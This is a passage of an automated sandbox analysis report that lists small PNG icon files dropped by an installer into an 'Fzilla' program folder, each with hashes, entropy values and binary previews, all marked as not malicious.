Preview:	.PNG........IHDR...............h6....tRNS......u..7...&IDATx.c.o=I.2.}3.b"..>~....'.z......z\|...4...JY., uy Pn...)k.n{.{.....v^}...Z..........'......I...>*..l.7S.....l...@A.^=.>-..e..t'..x.....s../.O..u=...5./.....F>@.k.J4.3@..54.].;%..f.....:}e.s.N.\|/..'O...7..).....'..................\;\|."P.W..0.A.l.t..%..cg/..B.P..... ....H...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-98MLH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.866829815207507
Encrypted:	false
SSDEEP:	6:6v/lhPSj7SFLdjYnHyRxFJwhsYLSdSyypSKIr++/bp:6v/7qodjWQQGRKt+9
MD5:	481C496B10838B0985C58162733C0F15
SHA1:	1DE798D52F600431BE816FE434D63BD1B3509BDC
SHA-256:	5A9C5658CC4B82DCDB423D580054103C6AC7A40A93ACE1D141DA70C00E51EBD1
SHA-512:	02C1085A775028BAD027AAF8408C9AE1364CA794CC5AC54821A2DDD0A8DD70C489DD4CDA669D81AD16C489AE15F177A0DB9BA2460A06FA5721881EACD76338DA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....a.0.EO.....`.......g..?C-..z.$:n......g..-..>.n...Z&'..k...L..._Y?<3.6.b..W......3.k.\"A......O......`...I..w.`u.g......=aC.0.W.]N..Klt~x...7..Y.........H..f=....e......`............=.RR.`.[.as...?.^..Q.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-9C3I4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.736141183559885
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNyxdkOFP5AcIJLu/CcRmkkaFWCDCYUh/1p:6v/lhP9+kS5ApuKQm1OWKRIp
MD5:	D2532067959BB2DB3A6EDC469AF4F114
SHA1:	EE5F8CFA30B8FD1AC0ED57AF136D2FDE00DBB70F
SHA-256:	A6E11C733726B32BFA967242C04B916BB4D4B31F1B3D348D8EF67C5A64BE183C
SHA-512:	33A72EFAC30CB8D879CEDB105651D1826452396B47827C12A0DB8DAA97CE12CD71533EF2C438ED28C80063F2666FEFF01AC3380C761F98CB4E495B2C39CDC759
Malicious:	false
Preview:	.PNG........IHDR................a...IIDATx...... .......X..,...@;.P.. .l% .._ ?..'By..4 .O......(% ... ?..Dg..g..I..+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-A90MD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	124
Entropy (8bit):	5.7031717489459455
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lyFhDmkolERqglE94kWk/WDNF4OILll/Vp:6v/lhPiFhDmkVA4ktOIxl/Vp
MD5:	86616009BCB357544B0056012333E23B
SHA1:	574A6A7249E7B2FBEB343438A956A14786EA9FF2
SHA-256:	83940C38223C617478A6BE4993298CACE9A60657DCB3B48ABED9EB4892CE80BC
SHA-512:	AD95EAEC6CB16443D1B2DEDEA930C66B17EA017D1368E992E82697BBFEFF91EF963E7B9F7D08802B8389971ED27247D1AF7EA8C68C5B995A6B8CAA629F3C2709
Malicious:	false
Preview:	.PNG........IHDR................a...CIDATx.c...D&.....a.......6....&l.H..4'\|...80.f'BA....j&h \. ......n.4.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-BU2L7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	135
Entropy (8bit):	5.683219265482871
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lskxeF0LPRTpJgu0Ktm7AAqb2Ab4dlldll/sup:6v/lhP8kemV7PzwUVLUdlllkup
MD5:	CF546B0EECBA2FE00DB8E684DD5D188C
SHA1:	8084CD9B696BD829A0C16965ED50C66890646916
SHA-256:	C9691E19B1D819764731085B45D7FC755D6EE5159D051A70238F5BC8B10F8EDB
SHA-512:	6861A2DCDE5867C26B7235A7E5B78AE49701F27F5E82541ADCB4190144FFE71FCA1849DE3BEE6F9D2056F6B4E96FDA1FE4ADACD1670F96675BEC45E9C360C496
Malicious:	false
Preview:	.PNG........IHDR................a...NIDATx.....0...>~.. ..n:..d.*...#...d.8./`..B..b...,...y@=.....e...A\..Z.....d8c........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-D4PSN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 1-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	122
Entropy (8bit):	5.3111020043094275
Encrypted:	false
SSDEEP:	3:yionv//thPl9vk/mnplJYBx2SIFh54kJapVUWczyZ66lbp:6v/lhPcupE+fBa7UvuZ1p
MD5:	BD5ED94432755D841D9A9B1C6883342D
SHA1:	837C9DB77F1CA59BE2AE21194F67A601375F23BD
SHA-256:	9437690465658A81FB5FAEB851D189704D744E6747AB6BB0B939654E582600B1
SHA-512:	6AFF0DD67E564FB196A32A76D5B64440DA50BB6FD745C452CEFBE4D0166085FF36DDED9652DA715BFB1D0A329F7D8BE442AD26C52DCF6EC1A6BB68A4BDFA0BCA
Malicious:	false
Preview:	.PNG........IHDR.............7.......tRNS.........3IDATx.c......D....?C+...D..;....3....3C.g.........W.L\|.x;....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-DBRPE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	123
Entropy (8bit):	5.6207970256458015
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAkxHl/wc2J+cdLMS2YddlWlDZJ5lp1p:6v/lhPQk1lcdIS2wdlYL5lbp
MD5:	1F9145F1B12133F3AC3D5F66DAFC0F15
SHA1:	F7D659948ACC84379A7C7E20D2B8D559F23C76C9
SHA-256:	595C06A53B6C8174B2E2D8F6ECE83418A3C6D92F96A833D5F50C4A32C0A93BA1
SHA-512:	AA8693F77471F59E2E89AEB7A691678AF80C0E1AC52B7AF0946D1D0A914E6B4E4E1E2432091B7813A7EB3E504019CD06C599214E69061B12334E40CFE13978F9
Malicious:	false
Preview:	.PNG........IHDR................a...BIDATx.c...q....4.0.6_......l...Lcb..N8..k.Q..g.!/8...N81!.7.>`....:T.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-DLHJT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.3061945055190805
Encrypted:	false
SSDEEP:	6:6v/lhPf89JjKKqDA7EzghvMVGJsrDY1NaprD2p:6v/7qjyUcghd1IprDU
MD5:	3E39A240C29CCE9B942AA4741BDA3848
SHA1:	796E0E0B657165816EE2724CF59A5ECD4DB5E63C
SHA-256:	92CAEF64BA5E710A398E7A929988512396955C9D6C141D887CA655C696620EEB
SHA-512:	D0EF391248FF262C801141990A922DACAB071DC530126EF2AD5F99730F0C0AA973F32E45FEB8DE8862E8B7C4DA5BDDA1D4D287F0BF5C08925C6167AB50C8826F
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...6PLTE...HA...C..A..=.....*..9..6..2.....&.".............ka.....tRNS.@..f...?IDATx.L...@..1_.....i..l.p..p.@.[P....U}.......f?..0....ad.....e(;......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-DM3GA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.341808018592505
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtLshxGh6satlMDHl9ilVhxup:6v/lhPO6RshxGh6bwHvlp
MD5:	3040CFFEDC34A0183C4183AC0C8F8FB0
SHA1:	F0BE3EEB8086F9FBB832C58EFBBB42E372199181
SHA-256:	8101A4842D2688CAE24D1CB12BBA6F23E265E3AFDBBF713EA13CBF1A28BA3D6D
SHA-512:	EA9743D5D97C1116C41597B87E6A263A951B00AC230D142EA34F5A95199F31FEEF1851607ECE987F7F2CBEE5F710A9A7A54D36FB8B6C71773891D804448A1919
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c ..G....GS@@.....`BJ\|.#...x....G......UEq.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-E9IG1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	98
Entropy (8bit):	5.405492207535168
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lthe23Y2ueuCNVd8U2up:6v/lhPdheBsvd9Vp
MD5:	DFBB80F1017873587B8E08802610A3BE
SHA1:	29FA21434C2837D2AF761977F3FC0ADC809422F8
SHA-256:	DE2D0FFB20682B52542772580E766A112825E308E21F806996F1936C2A9B3D15
SHA-512:	2BA914E35A83FAA32064E2A22449D7FD8C5C68130E17BDA9979F9E46E07D434FBC42F51107509594311442A3135D3B35D368B2014C18C9F41457D195E5FEE705
Malicious:	false
Preview:	.PNG........IHDR................a...)IDATx.c.............@.a..0.....l.J.......tY.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-ELTEO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.210821933737175
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoTHKu2u5/wblEBqlJZIF9nJtFZSZWFSzAG1XIqaQ4OY6Ft9l9k9p:6v/7uNpiHKC5/MEBqa3/qoSMwXPa2ndc
MD5:	97407AE8A1175FCB69A574DF8FE77F04
SHA1:	C83224DB654DF03542BC9058E3D961919185F42B
SHA-256:	3F4E4CA112F41B673FE236A8792E3056899AF6A503ABEC488DEAB2128595892B
SHA-512:	9B84B6B93C58BAA113A8BE2CED7234A33A22965C668D1C80B7D2FA688D8076760B30F112B32B77BAE08780F2FEF9A8CE4C873D460E6088305792B7ED5038DCF0
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......H.....+IDATx.c.o=I.2.}3.b"..>~....'.z......z\|...4...JZ../ey.P......<......S...@...a.......!d..[.......5.;\|$844)%....O.O.W....I...vv.^......Fs.....%+V.5.tt*)+.5 <......%..@uw.=...v...........:q...r..n.6k.P..C..z.v.<..LY....?q.o.,....>u..m.^m...?....O].v..E..[..K..K.v.$[t'.=u.....+@....$-..h ....=....S....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-HAP8K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	188
Entropy (8bit):	6.3217907636794095
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAllglj9+/BNx7Eqntws0nnZxIIUQFC/GY8lfstvPLN:6v/lhPmNpozj2BNCRnnZxIuiGYNvj/jp
MD5:	2AE57E91F5E79B79A5FB3A3DAB0941C9
SHA1:	8AC9369B08F55DE18B9FF994D2395C4320ECDFEC
SHA-256:	8FC76E8D13B0F5C554F28872907F804425F9A833D8AA4277E104B19839A0D04B
SHA-512:	05CB73CF5267020FC75553BB6666D0FE0ECE054626CB3CB366E3C9E3794FC4405FD0B9834CB16C03D15B0DE41227AA686CE89A8B169091967260EA1220E9F927
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......../....qIDATx...1.. .....~.O...~..v1....&..$.S....../*..P..Z.Q...s.!.N .!.N(T........%..p..5..0Z...Y...%...x.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-I1U3D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	133
Entropy (8bit):	5.808495669463587
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lCyxdEl1J1pxs7CEdoFcJ0rzv5F/LpHl2up:6v/lhP34r1pxH7cKrzPLpHlVp
MD5:	BEAC4629ABB60901283963C2904F8CFA
SHA1:	DFAE3D023AB995784B45C2D4FFA0D9C50A1A8FDE
SHA-256:	188A49C693FBF3495B5DF7580E0E4F7856CACB3D6A0D57251125AA883D894D54
SHA-512:	8C8CA2F316ED17544E4FA20BC5F0A46347CF7D3087FF669091D5C2E896E82C390E93D8A24006527455B3A019A51696BA9DF700240CD182B696D0F515E66E352B
Malicious:	false
Preview:	.PNG........IHDR................a...LIDATx...A.........3.K.@.."$}....a1..v..$.K...... .......A....P....(&........t...K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-IH8NP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	214
Entropy (8bit):	6.440581480903966
Encrypted:	false
SSDEEP:	6:6v/lhPf89J6HdYLMH8dy8aVcFthXsaVJL6UJ6Rfp:6v/7qsaOMyaFthcaTL6Vx
MD5:	CD9F4139C278266D430ACA09E4BD0785
SHA1:	22A8C0A2012A16A03ABB5C783C0C95832D0954C2
SHA-256:	365DAAF42471778B2A53A70EB9A535D9E0D586A1CDAC7694984BFBA4F27079A6
SHA-512:	B6CBDDB54265721E41FFB766B2B65838554594E36937E8069323E401A7B0C19E90C272EC83424DF00FB1519CDE835E2E41FE6A73D5308E180B1A460850B3E0CB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...6PLTE...HA...:. ..'..@.....-..>..C....6..1kkk..8..4.s...:..8.....tRNS.@..f...NIDATx......P...#..,1.....\|P...J............@.2......`o3..\/L..rw(XN....\.?l...`%.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-IVV53.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	139
Entropy (8bit):	5.432796661633841
Encrypted:	false
SSDEEP:	3:yionv//thPl9vn0Xl/E0h/+RQhl/2xglXKNpmknavnaywnYllVp:6v/lhP2l/E0h/+qhAxpVk5wnY/Vp
MD5:	D6F0AE8BCBDCA7871BC5EEF3138B7074
SHA1:	AA54F84E30FE76AD671F6D28589A2D3E94B78E88
SHA-256:	AD7A6C6E5D25F5400B17B5A7A920C76C4BC2C735FCE9D7681D8E35A66993228A
SHA-512:	9B7EFD5E5F4BC7032726C94D353E55F3A74493012F6348B00D416FF7D59A25068450FFA047344E328CF6CAE6AA1727E1EF7161D73436BF2C99E78F72E64BDC8E
Malicious:	false
Preview:	.PNG........IHDR.............b.......PLTE.........'.......tRNS.@..f...0IDATx...1..........PR...*9..B .,R$HJf..O8...:.............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-K3TVG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	226
Entropy (8bit):	6.5109975094565575
Encrypted:	false
SSDEEP:	6:6v/lhPmNpozeFQtmnnnN/hDsAcKN5wiLLDPi3p:6v/7uNpmeF4oDtVL65
MD5:	9CD1CF88890AF5DFBF98BA34629FB846
SHA1:	328ADEB234BFF5DD2395493A3B4B749FADDFC1EC
SHA-256:	D6DEB4EA6594DB052C166BED17924D5C8ED402E055609C4141DE1A66275C5C4D
SHA-512:	E4A6BF81F5D6BB29563F2FF99BBB72CBD384CD387B436A1016A93B777DCD4B2D945DBDDE626355FE6A12BD732FDB8B0C818BB6282E7BCAC221260782C72C22BC
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......../.....IDATx.m....0..o..-..>V.*..H.@.RT.G.^...H.I.....<......t.UQ.......s.K..UbJ...u.0..;.p:9..j.o .e...r..t...................K"E3[f.N.F.&sUA........A.^..@.`..C.l....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-KU8C7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	301
Entropy (8bit):	6.880532369203427
Encrypted:	false
SSDEEP:	6:6v/lhPfbjSjargTfhr81BoOL7kwVObZETcrtgFNyAf6qVFoGYbp:6v/7Hqjad1u0JTcRgFrFQ
MD5:	A1C73D5A053CB0DE1E50563C9FCD30D3
SHA1:	58D73C51BBCBC15EFFD450F5DC1B5CED73D15109
SHA-256:	A7DCF0626F73A1FAABD673DD740E26E0DA5A6B50A7DF338F8E789CBA58743099
SHA-512:	2622015EB07CB91785AEB9B64A367B3870A7B8BE5F6AC79452B99FE1A9620ECD1E9063B859D79B693F334B6CDEDE0C6FB47B97DBCDA9BA86815B1896372B41A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...D.f. >K.J^.....(.....q3P..(.y./.w....s.....`1q>.?.5....{......`....x.',..HZ........#f.....7L#L...y......>...........M...F.p..7@.........o.!.....A4........kjj>aaa...j...4nP..4...5'''.KLL..d..A...a....Pf..a@zz......`... ..5.......L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-LSBDD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	207
Entropy (8bit):	6.672332787181316
Encrypted:	false
SSDEEP:	6:6v/lhP0kzh77nT4UURmE1CwZslu5xLck6f3jp:6v/7f77nyRmE1CtM5d6fd
MD5:	64A1BAB17BA5EDFE9261537E63AFA507
SHA1:	608F951287229E7A34FDF0C8B938430258AA780E
SHA-256:	C42A4DC0C115E109CB4A77B845CD1134AFFAD6117CF34B2DCDF107F3ADC288E3
SHA-512:	3A59F8C9B322A944775B0312770C593DEE9321F518BEFC3AF98D951792894343C23AF76B7276291E4A864FB9CAD4DF7BC74AB7336F6BE26027267238FF3614C4
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..Q...0..;e.8q..i_.2...._>1............\|.ek..?>.q..s.u}Vk/......Wc*....es..R.....:.DA.6MO....=...X.6...@..,..1.~..4F..`)...a.{AF...........pk.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-NECJD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	221
Entropy (8bit):	6.6935339507152385
Encrypted:	false
SSDEEP:	6:6v/lhP6TgKJ2NcD6bx7wGx4wZvZnueg6up:6v/71KAOebx7wGjvtuegB
MD5:	C085C91B1497549AC3031B9403274E70
SHA1:	AE6BBAF8E7F9B367B17E527521F0052B9FF956DF
SHA-256:	C26F93A095D5474D349E6EA60F474AE71457C34944B7538567F7886DFEB05510
SHA-512:	F7D29F79F092F081395173DF9644F415EFD9CAAFEB898113845CA460E7585CBA417F67ED835B30A9ADD184E999E601DC11C4D2D4EC630A8362FDCA027DFC9B44
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....Ba..=.G{73.$.A%..o~.cX.T..$...y.A`.y...zH..7..........l..p8...........9.D...Z.nK.u%..0.p..........@Nx!...t_.....[.Mr.......L ....4...?E%y..,.Gn..C/.m.,...V....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-NOTPN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	179
Entropy (8bit):	6.352097747179528
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3llWebPfgXS7VJuQXb1FvE7rcm3Qr/qb7FH8VW5GY+kg1p:6v/lhPbb3gXSRJBXpScm3QGNH8VgGbbp
MD5:	A30DF9F34DC7814120BA50F5DD0CE35A
SHA1:	97B36BCC8CA676C45E125D6041E1C7179EFC2E0E
SHA-256:	297B35A7D181F05BA6DD330DD4E39F4FEA7AD6F01A22213CE14E3CDECB164CD3
SHA-512:	BB495C7962BDD98FA13F5CD5041F32768B4229ECD42E896A2130318B26DEE39CAC68E417291FAE057E968C4AF679D5F573833CF4D96F9D007D333E5BE52F4F0D
Malicious:	false
Preview:	.PNG........IHDR................a...zIDATx.b.\|.+p!..20........6-.$..BQ.j_Q..;.><....,0...OY+z.r..`.#0.....]..,/.8E.T .L.5p..\..fe.......q2.N...\|P....O 22.d...=s....=.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-PNF1R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.833808023352445
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lalOV9Yf3pqllQ0pn1BdbDXvG0NQVFfEpflyoDCl/ljp:6v/lhPql33UllHtDXvG0Ngepso6dp
MD5:	806DC11465F984DF1BB17F449B626AFE
SHA1:	AC7910B3708342E10AECA283176C10B2AD04D077
SHA-256:	6408D2F47E8D61039FB16701C38DCC604D3F9819FB54EE8D8B24A4F5A5A9F59F
SHA-512:	542E5B95381FF2D6A5DAD47BA609B99C15307990CF88A9367411CF7936CD906FA0105DE3CA86BE433CE9CEDBC7258E7FCB81DDD13720A76D2AA471BCCB80D0F1
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx.c...+p.......dh...0..l/.1!....?.a.....b..\|.d.nLP..20....8.0....F1..!...Dl :.....z..5.~.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-TMMM2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	493
Entropy (8bit):	7.39938844524375
Encrypted:	false
SSDEEP:	12:6v/7dDpLymMY8rEQMUqcX3V/y7SWYPYfTuU7HJmRvbCXioXrx/:2DJygsSU5nN0SWY2u4p6vM/
MD5:	A6EF7A770F2A3F26988F6AFE917DF8FD
SHA1:	A5EE3056FC2824B44D1DFE35FB1D2BB1E1A89C42
SHA-256:	35A9435E2D94F76B78B5519EDE1383CAE18205996F628504325A39314BE0AD8F
SHA-512:	22BEB756BD5F1649F24C8B8DA8C3FEA64C689081C66D67160F76CFD9206102AC6070DAD9AA8A32F69E44E804F184EB1A90305DBC004A83E07CF65AC89DACE5AA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3..Q.....l.......%.M.my..l..\|.>..7.;6.W......jQ....+....m..W.67n.p..>.O.N......^..f .G.5j.~....3....[.n.........].X.X...........5j<...}..{..p.R\|J...".2..P.w.Y....G...~a....m.S..\....J....kTy......l..(.y.p;..g....h..Hd...s..8..-O.< .)e....H~....q.5.s`u..M".w.4/,..<..y.V.w.....<G.S.?..g)..>..S.l.p..5.R..6M.....m.E..\|..............9\|..x.q>U..S....DZ.....4.[.*5..o..r.l..i..A-.....0.. ....,?...o.../9............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\is-VO26V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	141
Entropy (8bit):	5.440948078530047
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/6lXFk+Rghl/NwBhIdSvIVEaqmlWGEBSt2g1p:6v/lhPf61XqhgviEadHEBGp
MD5:	16712A5C7C7E89DB36FA205315F900DD
SHA1:	82EA45047B48C8571917F57CFE551D00339C92AA
SHA-256:	69E8A527253DD38DAEC908AD74F3AD24A7BF5E29F0AFD1E5E7A89F7CE1ED6AAD
SHA-512:	1BC434FE0E653C458FC9D219262BB0B57E3DA9D72811B34E0CC4E9934896F93F678808B0A1AE3A2A8BD3F36F4A30D43528BF94431A737E000DF97B6206C3468C
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE............w....tRNS.@..f...2IDATx...1..0..P..?tu.....Q\...~..p.JfQ...:.<....^<GC.sc..7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 1-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	122
Entropy (8bit):	5.3111020043094275
Encrypted:	false
SSDEEP:	3:yionv//thPl9vk/mnplJYBx2SIFh54kJapVUWczyZ66lbp:6v/lhPcupE+fBa7UvuZ1p
MD5:	BD5ED94432755D841D9A9B1C6883342D
SHA1:	837C9DB77F1CA59BE2AE21194F67A601375F23BD
SHA-256:	9437690465658A81FB5FAEB851D189704D744E6747AB6BB0B939654E582600B1
SHA-512:	6AFF0DD67E564FB196A32A76D5B64440DA50BB6FD745C452CEFBE4D0166085FF36DDED9652DA715BFB1D0A329F7D8BE442AD26C52DCF6EC1A6BB68A4BDFA0BCA
Malicious:	false
Preview:	.PNG........IHDR.............7.......tRNS.........3IDATx.c......D....?C+...D..;....3....3C.g.........W.L\|.x;....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	493
Entropy (8bit):	7.39938844524375
Encrypted:	false
SSDEEP:	12:6v/7dDpLymMY8rEQMUqcX3V/y7SWYPYfTuU7HJmRvbCXioXrx/:2DJygsSU5nN0SWY2u4p6vM/
MD5:	A6EF7A770F2A3F26988F6AFE917DF8FD
SHA1:	A5EE3056FC2824B44D1DFE35FB1D2BB1E1A89C42
SHA-256:	35A9435E2D94F76B78B5519EDE1383CAE18205996F628504325A39314BE0AD8F
SHA-512:	22BEB756BD5F1649F24C8B8DA8C3FEA64C689081C66D67160F76CFD9206102AC6070DAD9AA8A32F69E44E804F184EB1A90305DBC004A83E07CF65AC89DACE5AA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3..Q.....l.......%.M.my..l..\|.>..7.;6.W......jQ....+....m..W.67n.p..>.O.N......^..f .G.5j.~....3....[.n.........].X.X...........5j<...}..{..p.R\|J...".2..P.w.Y....G...~a....m.S..\....J....kTy......l..(.y.p;..g....h..Hd...s..8..-O.< .)e....H~....q.5.s`u..M".w.4/,..<..y.V.w.....<G.S.?..g)..>..S.l.p..5.R..6M.....m.E..\|..............9\|..x.q>U..S....DZ.....4.[.*5..o..r.l..i..A-.....0.. ....,?...o.../9............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	128
Entropy (8bit):	5.880014989397518
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlqs+kqjPtOi9ZFdnR84l3TPfDEijgGxll/sup:6v/lhPmNpq9kqxOA64tTPrEagGjeup
MD5:	C41627853F97292EED3C268271BFBC03
SHA1:	80B89B4FB53A806AE42C2ABE2B63A1B5B1731C3F
SHA-256:	90BCA1916A70407BE7FB28666AC1F28CBD9113EA1E2F8A5E471AD116CE741CDA
SHA-512:	56F67F991B929EAE1D7839FB864AFA8C4702E10CD1F31C9AF04E920FE14842DEC89FAEA60E91C6E080DB7367DE9D9BC2902779DBDB848F681A282331D1B7716D
Malicious:	false
Preview:	.PNG........IHDR...............h6...GIDATx......0.B....6.h1'..c..2.. ....u......3.IX({.....Ij.$Y.&...'..@1\....8....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\classic\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	141
Entropy (8bit):	5.440948078530047
